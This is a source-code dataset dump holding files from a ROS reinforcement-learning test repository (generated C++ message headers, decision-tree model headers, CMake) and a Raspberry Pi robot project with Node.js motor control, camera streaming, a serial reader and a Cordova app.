-B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 0\n.PHONY : cmake_check_build_system\n\n" }, { "alpha_fraction": 0.6748716235160828, "alphanum_fraction": 0.6854967474937439, "avg_line_length": 25.511737823486328, "blob_id": "667a49e5313b5e57448fb0113e15cecedf493457", "content_id": "f327180cb3e3ab3c0934d1d691f52211e496e1f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5647, "license_type": "no_license", "max_line_length": 441, "num_lines": 213, "path": "/devel/include/rl_msgs/RLStateReward.h", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "// Generated by gencpp from file rl_msgs/RLStateReward.msg\n// DO NOT EDIT!\n\n\n#ifndef RL_MSGS_MESSAGE_RLSTATEREWARD_H\n#define RL_MSGS_MESSAGE_RLSTATEREWARD_H\n\n\n#include <string>\n#include <vector>\n#include <map>\n\n#include <ros/types.h>\n#include <ros/serialization.h>\n#include <ros/builtin_message_traits.h>\n#include <ros/message_operations.h>\n\n\nnamespace rl_msgs\n{\ntemplate <class ContainerAllocator>\nstruct RLStateReward_\n{\n typedef RLStateReward_<ContainerAllocator> Type;\n\n RLStateReward_()\n : state()\n , reward(0.0)\n , terminal(false) {\n }\n RLStateReward_(const ContainerAllocator& _alloc)\n : state(_alloc)\n , reward(0.0)\n , terminal(false) {\n (void)_alloc;\n }\n\n\n\n typedef std::vector<float, typename ContainerAllocator::template rebind<float>::other > _state_type;\n _state_type state;\n\n typedef float _reward_type;\n _reward_type reward;\n\n typedef uint8_t _terminal_type;\n _terminal_type terminal;\n\n\n\n\n\n typedef boost::shared_ptr< ::rl_msgs::RLStateReward_<ContainerAllocator> > Ptr;\n typedef boost::shared_ptr< ::rl_msgs::RLStateReward_<ContainerAllocator> const> ConstPtr;\n\n}; // struct RLStateReward_\n\ntypedef ::rl_msgs::RLStateReward_<std::allocator<void> > RLStateReward;\n\ntypedef boost::shared_ptr< ::rl_msgs::RLStateReward > RLStateRewardPtr;\ntypedef boost::shared_ptr< ::rl_msgs::RLStateReward const> RLStateRewardConstPtr;\n\n// constants requiring out of line definition\n\n\n\ntemplate<typename ContainerAllocator>\nstd::ostream& operator<<(std::ostream& s, const ::rl_msgs::RLStateReward_<ContainerAllocator> & v)\n{\nros::message_operations::Printer< ::rl_msgs::RLStateReward_<ContainerAllocator> >::stream(s, \"\", v);\nreturn s;\n}\n\n} // namespace rl_msgs\n\nnamespace ros\n{\nnamespace message_traits\n{\n\n\n\n// BOOLTRAITS {'IsFixedSize': False, 'IsMessage': True, 'HasHeader': False}\n// {'rl_msgs': ['/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_msgs/msg'], 'std_msgs': ['/opt/ros/melodic/share/std_msgs/cmake/../msg']}\n\n// !!!!!!!!!!! ['__class__', '__delattr__', '__dict__', '__doc__', '__eq__', '__format__', '__getattribute__', '__hash__', '__init__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_parsed_fields', 'constants', 'fields', 'full_name', 'has_header', 'header_present', 'names', 'package', 'parsed_fields', 'short_name', 'text', 'types']\n\n\n\n\ntemplate <class ContainerAllocator>\nstruct IsFixedSize< ::rl_msgs::RLStateReward_<ContainerAllocator> >\n : FalseType\n { };\n\ntemplate <class ContainerAllocator>\nstruct IsFixedSize< ::rl_msgs::RLStateReward_<ContainerAllocator> const>\n : FalseType\n { };\n\ntemplate <class ContainerAllocator>\nstruct IsMessage< ::rl_msgs::RLStateReward_<ContainerAllocator> >\n : TrueType\n { };\n\ntemplate <class ContainerAllocator>\nstruct IsMessage< ::rl_msgs::RLStateReward_<ContainerAllocator> const>\n : TrueType\n { };\n\ntemplate <class ContainerAllocator>\nstruct HasHeader< ::rl_msgs::RLStateReward_<ContainerAllocator> >\n : FalseType\n { };\n\ntemplate <class ContainerAllocator>\nstruct HasHeader< ::rl_msgs::RLStateReward_<ContainerAllocator> const>\n : FalseType\n { };\n\n\ntemplate<class ContainerAllocator>\nstruct MD5Sum< ::rl_msgs::RLStateReward_<ContainerAllocator> >\n{\n static const char* value()\n {\n return \"d7e0cc8b9cf2889f09d7f096a11a2873\";\n }\n\n static const char* value(const ::rl_msgs::RLStateReward_<ContainerAllocator>&) { return value(); }\n static const uint64_t static_value1 = 0xd7e0cc8b9cf2889fULL;\n static const uint64_t static_value2 = 0x09d7f096a11a2873ULL;\n};\n\ntemplate<class ContainerAllocator>\nstruct DataType< ::rl_msgs::RLStateReward_<ContainerAllocator> >\n{\n static const char* value()\n {\n return \"rl_msgs/RLStateReward\";\n }\n\n static const char* value(const ::rl_msgs::RLStateReward_<ContainerAllocator>&) { return value(); }\n};\n\ntemplate<class ContainerAllocator>\nstruct Definition< ::rl_msgs::RLStateReward_<ContainerAllocator> >\n{\n static const char* value()\n {\n return \"# Message for returning the current sensation vector \\n\\\n# (i.e. state or observation or sensor readings) and a\\n\\\n# reward from an environment\\n\\\n\\n\\\nfloat32[] state\\n\\\nfloat32 reward\\n\\\nbool terminal\\n\\\n\";\n }\n\n static const char* value(const ::rl_msgs::RLStateReward_<ContainerAllocator>&) { return value(); }\n};\n\n} // namespace message_traits\n} // namespace ros\n\nnamespace ros\n{\nnamespace serialization\n{\n\n template<class ContainerAllocator> struct Serializer< ::rl_msgs::RLStateReward_<ContainerAllocator> >\n {\n template<typename Stream, typename T> inline static void allInOne(Stream& stream, T m)\n {\n stream.next(m.state);\n stream.next(m.reward);\n stream.next(m.terminal);\n }\n\n ROS_DECLARE_ALLINONE_SERIALIZER\n }; // struct RLStateReward_\n\n} // namespace serialization\n} // namespace ros\n\nnamespace ros\n{\nnamespace message_operations\n{\n\ntemplate<class ContainerAllocator>\nstruct Printer< ::rl_msgs::RLStateReward_<ContainerAllocator> >\n{\n template<typename Stream> static void stream(Stream& s, const std::string& indent, const ::rl_msgs::RLStateReward_<ContainerAllocator>& v)\n {\n s << indent << \"state[]\" << std::endl;\n for (size_t i = 0; i < v.state.size(); ++i)\n {\n s << indent << \" state[\" << i << \"]: \";\n Printer<float>::stream(s, indent + \" \", v.state[i]);\n }\n s << indent << \"reward: \";\n Printer<float>::stream(s, indent + \" \", v.reward);\n s << indent << \"terminal: \";\n Printer<uint8_t>::stream(s, indent + \" \", v.terminal);\n }\n};\n\n} // namespace message_operations\n} // namespace ros\n\n#endif // RL_MSGS_MESSAGE_RLSTATEREWARD_H\n" }, { "alpha_fraction": 0.6990163922309875, "alphanum_fraction": 0.7022950649261475, "avg_line_length": 22.41538429260254, "blob_id": "51e1f9b78a4287697c9fed4f1ea2efbacab5e222", "content_id": "8ed670f8590e2f8769d782eea1f544c38cb5cbc8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1525, "license_type": "no_license", "max_line_length": 93, "num_lines": 65, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Models/SepPlanExplore.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#ifndef _SEPPLANEXPLORE_HH_\n#define _SEPPLANEXPLORE_HH_\n\n#include \"../Models/C45Tree.hh\"\n#include \"../Models/M5Tree.hh\"\n#include \"../Models/LinearSplitsTree.hh\"\n#include \"../Models/MultipleClassifiers.hh\"\n\n#include \"../Models/Stump.hh\"\n\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n#include <vector>\n#include <set>\n#include <map>\n\n/** C4.5 decision stump class */\nclass SepPlanExplore: public Classifier {\n\npublic:\n\n // mode - re-build stump every step? \n // re-build only on misclassifications? or rebuild every 'trainFreq' steps\n SepPlanExplore(int id, int modelType, int predType, int nModels, \n int trainMode, int trainFreq,\n float featPct, float expPct, float treeThreshold, bool stoch,\n float featRange, Random rng);\n\n SepPlanExplore(const SepPlanExplore&);\n virtual SepPlanExplore* getCopy();\n\n ~SepPlanExplore();\n\n virtual bool trainInstances(std::vector<classPair> &instances);\n virtual bool trainInstance(classPair &instance);\n virtual void testInstance(const std::vector<float> &input, std::map<float, float>* retval);\n virtual float getConf(const std::vector<float> &s);\n \n void initModels();\n\n bool SPEDEBUG;\n\nprivate:\n\n const int id;\n const int modelType;\n const int predType;\n const int nModels;\n const int mode;\n const int freq;\n const float featPct;\n const float expPct;\n const float treeThresh;\n const bool stoch;\n const float featRange; \n\n Random rng;\n\n Classifier* expModel;\n Classifier* planModel;\n\n};\n\n\n#endif\n \n" }, { "alpha_fraction": 0.7555555701255798, "alphanum_fraction": 0.7666666507720947, "avg_line_length": 37.71428680419922, "blob_id": "57ae7c12fef2dcd2c309e6bde8bdb3880a62be33", "content_id": "417afc43b48b0de0098a7f8009791fe289170f7b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 270, "license_type": "no_license", "max_line_length": 45, "num_lines": 7, "path": "/src/robot_sensors/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"robot_sensors\")\nset(robot_sensors_MAINTAINER \"abc <[email protected]>\")\nset(robot_sensors_DEPRECATED \"\")\nset(robot_sensors_VERSION \"0.0.0\")\nset(robot_sensors_BUILD_DEPENDS )\nset(robot_sensors_RUN_DEPENDS )\nset(robot_sensors_BUILDTOOL_DEPENDS \"catkin\")" }, { "alpha_fraction": 0.6356500387191772, "alphanum_fraction": 0.6387133598327637, "avg_line_length": 29.526315689086914, "blob_id": "148d882c82c04048493cd33bf6e277f8be6cf12f", "content_id": "8d79a798f312842ee89ad72e88b04f7c99953e7b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5223, "license_type": "no_license", "max_line_length": 117, "num_lines": 171, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Models/LinearSplitsTree.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#ifndef _LINEARSPLITS_HH_\n#define _LINEARSPLITS_HH_\n\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n#include <vector>\n#include <set>\n#include <map>\n\n#define N_LST_EXP 200000\n#define N_LS_NODES 2500\n\n#define BUILD_EVERY 0\n#define BUILD_ON_ERROR 1\n#define BUILD_EVERY_N 2\n#define BUILD_ON_TERMINAL 3\n#define BUILD_ON_TERMINAL_AND_ERROR 4\n\n/** M5 decision tree class */\nclass LinearSplitsTree: public Classifier {\n\npublic:\n\n // mode - re-build tree every step? \n // re-build only on misclassifications? or rebuild every 'trainFreq' steps\n LinearSplitsTree(int id, int trainMode, int trainFreq, int m, \n float featPct, bool simple, float min_er, Random rng);\n\n LinearSplitsTree(const LinearSplitsTree&);\n virtual LinearSplitsTree* getCopy();\n\n ~LinearSplitsTree();\n\n // structs to be defined\n struct tree_node;\n struct tree_experience;\n \n \n /** Tree node struct */\n struct tree_node {\n int id;\n\n // split criterion\n int dim;\n float val;\n float avgError;\n\n bool leaf;\n \n // for regression model\n float constant;\n std::vector<float> coefficients;\n\n // next nodes in tree\n tree_node *l;\n tree_node *r;\n\n // set of all outputs seen at this leaf/node\n int nInstances;\n\n };\n\n struct tree_experience {\n std::vector<float> input;\n float output;\n };\n\n bool trainInstance(classPair &instance);\n bool trainInstances(std::vector<classPair> &instances);\n void testInstance(const std::vector<float> &input, std::map<float, float>* retval);\n float getConf(const std::vector<float> &input);\n\n void buildTree(tree_node* node, const std::vector<tree_experience*> &instances,\n bool changed);\n void copyTree(tree_node* newNode, tree_node* origNode);\n\n\n // helper functions\n void initTree();\n void rebuildTree();\n void initTreeNode(tree_node* node);\n tree_node* traverseTree(tree_node* node, const std::vector<float> &input);\n tree_node* getCorrectChild(tree_node* node, const std::vector<float> &input);\n bool passTest(int dim, float val, const std::vector<float> &input);\n float calcER(int dim, float val, \n const std::vector<tree_experience*> &instances, float error,\n std::vector<tree_experience*> &left,\n std::vector<tree_experience*> &right,\n float *leftError, float *rightError);\n float* sortOnDim(int dim, const std::vector<tree_experience*> &instances);\n std::set<float> getUniques(int dim, const std::vector<tree_experience*> &instances, float & minVal, float& maxVal);\n void deleteTree(tree_node* node);\n float calcAvgErrorforSet(const std::vector<tree_experience*> &instances);\n void printTree(tree_node *t, int level);\n void testPossibleSplits(float avgError, const std::vector<tree_experience*> &instances, \n float *bestER, int *bestDim, \n float *bestVal, \n std::vector<tree_experience*> *bestLeft, \n std::vector<tree_experience*> *bestRight,\n float *bestLeftError, float *bestRightError);\n void implementSplit(tree_node* node, const std::vector<tree_experience*> &instances, \n float bestER, int bestDim,\n float bestVal, \n const std::vector<tree_experience*> &left, \n const std::vector<tree_experience*> &right,\n bool changed, float leftError, float rightError);\n void compareSplits(float er, int dim, float val, \n const std::vector<tree_experience*> &left, \n const std::vector<tree_experience*> &right,\n int *nties, float leftError, float rightError,\n float *bestER, int *bestDim, \n float *bestVal, \n std::vector<tree_experience*> *bestLeft, \n std::vector<tree_experience*> *bestRight,\n float *bestLeftError, float *bestRightError);\n void leafPrediction(tree_node *t, const std::vector<float> &in, std::map<float, float>* retval);\n void makeLeaf(tree_node* node, const std::vector<tree_experience*> &instances);\n\n float fitSimpleLinearModel(const std::vector<tree_experience*> &instances,\n float* constant, std::vector<float> *coeff);\n float fitMultiLinearModel(const std::vector<tree_experience*> &instances,\n float* constant, std::vector<float> * coeff);\n\n tree_node* allocateNode();\n void deallocateNode(tree_node* node);\n void initNodes();\n\n bool INCDEBUG;\n bool DTDEBUG;\n bool LMDEBUG;\n bool SPLITDEBUG;\n bool STOCH_DEBUG;\n bool NODEDEBUG;\n int nExperiences;\n bool COPYDEBUG;\n\n float SPLIT_MARGIN;\n\nprivate:\n\n const int id;\n \n const int mode;\n const int freq;\n const int M;\n const float featPct; \n const bool SIMPLE;\n const float MIN_ER;\n\n Random rng;\n\n int nOutput;\n int nnodes;\n bool hadError;\n int totalnodes;\n int maxnodes;\n\n // INSTANCES\n std::vector<tree_experience*> experiences;\n tree_experience allExp[N_LST_EXP];\n tree_node allNodes[N_LS_NODES];\n std::vector<int> freeNodes;\n\n // TREE\n tree_node* root;\n tree_node* lastNode;\n\n};\n\n\n#endif\n \n" } ]
185
my-poi/machina
https://github.com/my-poi/machina
05104812d7bc32c7eba7fa2567498754164ee32a
a84e5f530a03acc36cadcf8002c40c25dfeb41d8
a9cba816576883e7d679f85bbf7166c8b8250fc5
refs/heads/master
2021-01-10T06:53:55.307126
2018-02-16T09:24:00
2018-02-16T09:24:00
69,585,258
2
0
null
null
null
null
null
[ { "alpha_fraction": 0.5708245038986206, "alphanum_fraction": 0.6109936833381653, "avg_line_length": 25.33333396911621, "blob_id": "0690e73f84dea84000924d34575abc8037f348b0", "content_id": "cccb0497d3de87c80d60107c6812f38253bd4542", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 473, "license_type": "no_license", "max_line_length": 119, "num_lines": 18, "path": "/machina.prv/server-test.js", "repo_name": "my-poi/machina", "src_encoding": "UTF-8", "text": "var spawn = require('child_process').spawn\nvar child = spawn('/opt/vc/bin/raspivid', ['-t', '0', '-w', '300', '-h', '168', '-hf', '-vf', '-fps', '30', '-o', '-'])\nvar http = require('http')\n\nvar server = http.createServer(function (request, response) {\n\n response.writeHead(200, {\n 'Content-Type': 'video/h-264',\n 'Connection': 'keep-alive',\n 'Accept-Ranges': 'bytes'\n })\n\n child.stdout.pipe(response)\n\n})\n\nserver.listen(8003)\nconsole.log('Server is listening')" }, { "alpha_fraction": 0.704375684261322, "alphanum_fraction": 0.7235859036445618, "avg_line_length": 35.07692337036133, "blob_id": "cc854e4167c2a79f565e06b95795473466bfbddc", "content_id": "93a33ee564026298a0d880c58faf7806e7252bb2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 941, "license_type": "no_license", "max_line_length": 94, "num_lines": 26, "path": "/machina.api/server.js", "repo_name": "my-poi/machina", "src_encoding": "UTF-8", "text": "var express = require('express')\n// var request = require('request')\nvar pwmController = require('./controllers/pwmController.js')\nvar moveController = require('./controllers/moveController.js')\nvar cameraController = require('./controllers/cameraController.js')\nvar app = express()\n\nvar pwmCtrl = new pwmController()\nvar moveCtrl = new moveController(pwmCtrl.pwm)\nvar cameraCtrl = new cameraController(pwmCtrl.pwm)\n// cameraCtrl.setDefault()\n\napp.use(function(req, res, next) {\n res.header('Access-Control-Allow-Origin', '*')\n res.header('Access-Control-Allow-Headers', 'Origin, X-Requested-With, Content-Type, Accept')\n next()\n})\n\napp.post('/:axis0/:axis1/:a/:b/:x/:y', function (req, res) {\n moveCtrl.setMotors(req.params.axis0, req.params.axis1)\n cameraCtrl.setMotors(req.params.a, req.params.b, req.params.x, req.params.y)\n res.end()\n})\n\n// request.post('http://127.0.0.1:8001/\\'Czeล›ฤ‡! Machina juลผ dziaล‚a.\\'')\napp.listen(8000)" }, { "alpha_fraction": 0.4693877696990967, "alphanum_fraction": 0.48469388484954834, "avg_line_length": 16.840909957885742, "blob_id": "9953e71cd3c0d92eeac7289174d4f2725a5614b0", "content_id": "8cda72bbeb6d49db0747323d2e4e05b8566601da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 784, "license_type": "no_license", "max_line_length": 44, "num_lines": 44, "path": "/machina.api/test.py", "repo_name": "my-poi/machina", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport serial, time\n# sudo chmod a+rw /dev/ttyS0\nser = serial.Serial('/dev/ttyS0', 9600)\n\nif(ser.isOpen() == False):\n ser.open()\n\nwhile 1:\n serial_line = ser.readline()\n print serial_line\n\nser.close()\n\n# import serial\n\n# port = serial.Serial(\"/dev/ttyAMA0\", 9600)\n# if(port.isOpen() == False):\n# port.open()\n\n# line = []\n\n# try:\n# while True:\n# for c in port.read():\n# line.append(c)\n# if c == '\\n':\n# print(\"Line: \" + line)\n# line = []\n# break\n\n# # try:\n# # while True:\n# # print \"OK!!!!!\"\n# # line = port.read()\n# # print line\n\n# except Exception as ex:\n# print (ex)\n# pass\n\n# # if(port.isOpen() == True):\n# # port.close()" }, { "alpha_fraction": 0.6425504088401794, "alphanum_fraction": 0.6653452515602112, "avg_line_length": 31.913043975830078, "blob_id": "b2dfb19729f4d6d7ec4463780211208b85819cbd", "content_id": "448c0a94a74e8431f426d9fb7361aa6bf85309c3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3031, "license_type": "permissive", "max_line_length": 137, "num_lines": 92, "path": "/machina.app - old/www/js/app.js", "repo_name": "my-poi/machina", "src_encoding": "UTF-8", "text": "var haveEvents = 'ongamepadconnected' in window;\nvar gamepad = null;\nvar timestampValue = 1;\nvar timestamp = document.getElementById('timestamp');\nvar axis0 = document.getElementById('axis0');\nvar axis1 = document.getElementById('axis1');\nvar a = document.getElementById('a');\nvar b = document.getElementById('b');\nvar c = document.getElementById('x');\nvar d = document.getElementById('y');\nvar lb = document.getElementById('lb');\nvar rb = document.getElementById('rb');\n\nfunction connectHandler(e) {\n addGamepad(e);\n}\n\nfunction disconnectHandler() {\n gamepad = null;\n // Jakaล› metoda zabezpieczajฤ…ca pojazd na wypadek utraty poล‚ฤ…czenia z gamepadem\n}\n\nfunction addGamepad(device) {\n // gamepad = device;\n // document.getElementById('gamepad').innerText =\n // String.format('Gamepad {0} {1}.',\n // gamepad.index,\n // gamepad.id);\n // requestAnimationFrame(updateStatus);\n}\n\nfunction updateStatus() {\n\n // if (!haveEvents) scanGamepads();\n\n // document.getElementById('timestamp').innerText = gamepad.timestamp;\n // document.getElementById('axis0').innerText = gamepad.axes[0].toFixed(6);\n // document.getElementById('axis1').innerText = gamepad.axes[1].toFixed(6);\n // document.getElementById('a').innerText = gamepad.buttons[0].value;\n // document.getElementById('b').innerText = gamepad.buttons[1].value;\n // document.getElementById('x').innerText = gamepad.buttons[2].value;\n // document.getElementById('y').innerText = gamepad.buttons[3].value;\n // document.getElementById('lb').innerText = gamepad.buttons[6].value;\n // document.getElementById('rb').innerText = gamepad.buttons[7].value;\n\n // if (timestampValue < gamepad.timestamp) {\n // sendData();\n // timestampValue = gamepad.timestamp;\n // }\n\n // requestAnimationFrame(updateStatus);\n}\n\nfunction sendData() {\n\n // $.ajax({\n // url: String.format('http://192.168.1.57:8000/{0}/{1}/{2}/{3}/{4}/{5}', \n // gamepad.axes[0].toFixed(6), \n // gamepad.axes[1].toFixed(6),\n // gamepad.buttons[0].value,\n // gamepad.buttons[1].value,\n // gamepad.buttons[2].value,\n // gamepad.buttons[3].value),\n // type: 'POST',\n // success: function(result) {\n // document.getElementById('message').innerText = result;\n // },\n // error: function(error) {\n // document.getElementById('message').innerText = error;\n // },\n // timeout: 1000\n // });\n}\n\nfunction scanGamepads() {\n // var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads() : []);\n // if (gamepads[0] == undefined || gamepad != null) return;\n // for (var i = 0; i < gamepads.length; i++) {\n // if (gamepads[i]) {\n // addGamepad(gamepads[i]);\n // break;\n // }\n // }\n}\n\n// window.addEventListener('gamepadconnected', connectHandler);\n// window.addEventListener('gamepaddisconnected', disconnectHandler);\n\n// if (!haveEvents) setInterval(scanGamepads, 1000);\n\nvar player = new MJPEG.Player('player', 'http://192.168.1.57:8001');\nplayer.start();" }, { "alpha_fraction": 0.5229591727256775, "alphanum_fraction": 0.6071428656578064, "avg_line_length": 20.77777862548828, "blob_id": "066c900303620fb011ec9cd1b6e6028c709744c1", "content_id": "fa71a687283151b39b0f83a7695493bb7b5fa659", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 392, "license_type": "no_license", "max_line_length": 55, "num_lines": 18, "path": "/machina.api/controllers/pwm.controller.js", "repo_name": "my-poi/machina", "src_encoding": "UTF-8", "text": "module.exports = function () {\n var i2cBus = require('i2c-bus');\n var Pca9685Driver = require('pca9685').Pca9685Driver;\n\n var options = {\n i2c: i2cBus.openSync(1),\n address: 0x60,\n frequency: 1000,\n debug: false\n };\n\n this.pwm = new Pca9685Driver(options, (error) => {\n if (error) {\n console.error(\"Error initializing PCA9685\");\n process.exit(-1);\n }\n });\n}\n" }, { "alpha_fraction": 0.7300613522529602, "alphanum_fraction": 0.803680956363678, "avg_line_length": 17.22222137451172, "blob_id": "31472ae9cd37e68ef8de815977fb0cdd0b3aec0a", "content_id": "5b1d6873b44f01bae6d2d26fa3dbaafc20db0041", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 165, "license_type": "no_license", "max_line_length": 38, "num_lines": 9, "path": "/docs/android.md", "repo_name": "my-poi/machina", "src_encoding": "UTF-8", "text": "## Uruchomienie projektu na urzฤ…dzeniu\ncd machina.app\nadb tcpip 5555\nadb connect 192.168.1.4\ncordova run android\nadb devices\n\n## W przeglฤ…darce\ncordova run browser" }, { "alpha_fraction": 0.623258650302887, "alphanum_fraction": 0.6711084246635437, "avg_line_length": 31.372549057006836, "blob_id": "92e584661444cc618d262e7623456fb5c99d5c71", "content_id": "7244d12b60426810185e7ba83b7695ad069d7c59", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1651, "license_type": "no_license", "max_line_length": 124, "num_lines": 51, "path": "/machina.api/controllers/move.controller.js", "repo_name": "my-poi/machina", "src_encoding": "UTF-8", "text": "module.exports = function (pwm) {\n var motorsController = require('../controllers/motors.controller.js')\n var motors = new motorsController(pwm)\n\n this.setMotors = function (data) {\n // 1070 1480 1905\n\n const movement = { forward: 0, backward: 0, left: 0, right: 0 };\n\n const speedMin = 0;\n const speedMax = 1100;\n\n const forwardMin = 1550;\n const forwardMax = 1905;\n\n const backwardMin = 1410;\n const backwardMax = 1070;\n\n const leftMin = 1410;\n const leftMax = 1070;\n\n const rightMin = 1550;\n const rightMax = 1905;\n\n if (data.throttle >= 1410 && data.throttle <= 1550) {\n pwm.allChannelsOff();\n return;\n }\n\n if (data.throttle > 1500) movement.forward = scaleBetween(data.throttle, forwardMin, forwardMax, speedMin, speedMax);\n if (data.throttle < 1410) movement.backward = scaleBetween(data.throttle, backwardMin, backwardMax, speedMin, speedMax);\n if (data.yaw < 1410) movement.left = scaleBetween(data.yaw, leftMin, leftMax, speedMin, speedMax);\n if (data.yaw > 1500) movement.right = scaleBetween(data.yaw, rightMin, rightMax, speedMin, speedMax);\n\n if (movement.forward > 0) {\n motors.forwardLeft(movement.forward - movement.left);\n motors.forwardRight(movement.forward - movement.right);\n return;\n }\n\n if (movement.backward > 0) {\n motors.backwardLeft(movement.backward - movement.left);\n motors.backwardRight(movement.backward - movement.right);\n return;\n }\n }\n\n function scaleBetween(valueIn, baseMin, baseMax, limitMin, limitMax) {\n return ((limitMax - limitMin) * (valueIn - baseMin) / (baseMax - baseMin)) + limitMin;\n }\n}\n" }, { "alpha_fraction": 0.5835843086242676, "alphanum_fraction": 0.6378012299537659, "avg_line_length": 21.508474349975586, "blob_id": "82d7b8d026dd4d896db3faeff1580179bcce296d", "content_id": "3929a63f041e1b555d311442758bd6e66d17704e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1328, "license_type": "no_license", "max_line_length": 41, "num_lines": 59, "path": "/machina.api/controllers/motors.controller.js", "repo_name": "my-poi/machina", "src_encoding": "UTF-8", "text": "module.exports = function (pwm) {\n this.forwardLeft = function (speed) {\n // Tylne\n pwm.setPulseLength(2, speed);\n pwm.setPulseLength(4, 0);\n pwm.setPulseLength(3, 4096);\n\n // Przednie\n pwm.setPulseLength(7, speed);\n pwm.setPulseLength(5, 0);\n pwm.setPulseLength(6, 4096);\n }\n\n this.forwardRight = function (speed) {\n // Przednie\n pwm.setPulseLength(8, speed);\n pwm.setPulseLength(10, 0);\n pwm.setPulseLength(9, 4096);\n\n // Tylne\n pwm.setPulseLength(13, speed);\n pwm.setPulseLength(11, 0);\n pwm.setPulseLength(12, 4096);\n }\n\n this.forward = function (speed) {\n this.forwardLeft(speed);\n this.forwardRight(speed);\n }\n\n this.backwardLeft = function (speed) {\n // Tylne\n pwm.setPulseLength(2, speed);\n pwm.setPulseLength(4, 4096);\n pwm.setPulseLength(3, 0);\n\n // Przednie\n pwm.setPulseLength(7, speed);\n pwm.setPulseLength(5, 4096);\n pwm.setPulseLength(6, 0);\n }\n\n this.backwardRight = function (speed) {\n // Przednie\n pwm.setPulseLength(8, speed);\n pwm.setPulseLength(10, 4096);\n pwm.setPulseLength(9, 0);\n\n // Tylne\n pwm.setPulseLength(13, speed);\n pwm.setPulseLength(11, 4096);\n pwm.setPulseLength(12, 0);\n }\n\n this.backward = function (speed) {\n this.backwardsLeft(speed);\n this.backwardsRight(speed);\n }\n}\n" }, { "alpha_fraction": 0.6050955653190613, "alphanum_fraction": 0.6050955653190613, "avg_line_length": 18.75, "blob_id": "177d4d22bd5c85b316ce3261c4e6a9c7d78143e4", "content_id": "80885fa994263a2be6c4e41f0ff147672f55b456", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 157, "license_type": "no_license", "max_line_length": 42, "num_lines": 8, "path": "/machina.api/objects/rc-data.js", "repo_name": "my-poi/machina", "src_encoding": "UTF-8", "text": "class RcData {\n constructor(throttle, yaw, pith, roll) {\n this.throttle = throttle;\n this.yaw = yaw;\n this.pith = pith;\n this.roll = roll;\n }\n}" }, { "alpha_fraction": 0.6205016374588013, "alphanum_fraction": 0.6314067840576172, "avg_line_length": 23.157894134521484, "blob_id": "c11c90f6f10f5075482434a6428b619989031416", "content_id": "57d701e74756490b40e61684dfd3abd12ca882eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 918, "license_type": "no_license", "max_line_length": 71, "num_lines": 38, "path": "/machina.prv/server-old.js", "repo_name": "my-poi/machina", "src_encoding": "UTF-8", "text": "var http = require('http')\nvar fs = require('fs')\n\nvar server = http.createServer(function (request, response) {\n\n response.writeHead(200, {\n 'Content-Type': 'multipart/x-mixed-replace; boundary=myboundary',\n 'Cache-Control': 'no-cache',\n 'Connection': 'close',\n 'Pragma': 'no-cache'\n })\n\n var stop = false;\n\n response.connection.on('close', function () { stop = true })\n\n var sendPicture = function () {\n\n if (stop) return\n\n fs.readFile('/apps/stream/picture.jpg', function (error, content) {\n response.write(\"--myboundary\\r\\n\")\n response.write(\"Content-Type: image/jpeg\\r\\n\")\n response.write(\"Content-Length: \" + content.length + \"\\r\\n\")\n response.write(\"\\r\\n\")\n response.write(content, 'binary')\n response.write(\"\\r\\n\")\n\n setTimeout(sendPicture, 200)\n })\n }\n\n sendPicture()\n})\n\nserver.listen(8003, function () {\n console.log('Podglฤ…d uruchomiony')\n})" }, { "alpha_fraction": 0.779046356678009, "alphanum_fraction": 0.7991940975189209, "avg_line_length": 39.135135650634766, "blob_id": "eaeac5dccff5c482cf666eba1f70e597a4dd5a99", "content_id": "42764a131fbf4668e6ce822b8d224f18d118db31", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1544, "license_type": "no_license", "max_line_length": 165, "num_lines": 37, "path": "/README.md", "repo_name": "my-poi/machina", "src_encoding": "UTF-8", "text": "![Machina Logo](./docs/logo.png) \n# Machina\n\nZdalne sterowanie robotem na bazie Raspberry Pi.\n\n![](./docs/machina.jpg) \n\nProjekt przede wszystkim ma na celu bawiฤ…c/uczyฤ‡ stosowania technologii JavaScript: Node.js i Cordova. Aby zaczฤ…ฤ‡ prace naleลผy zaopatrzyฤ‡ siฤ™ w niezbฤ™dne podzespoล‚y:\n\n- komputer Raspberry Pi\n- sterownik silnikรณw Motor Hat lub inny\n- czterokoล‚owe podwozie z 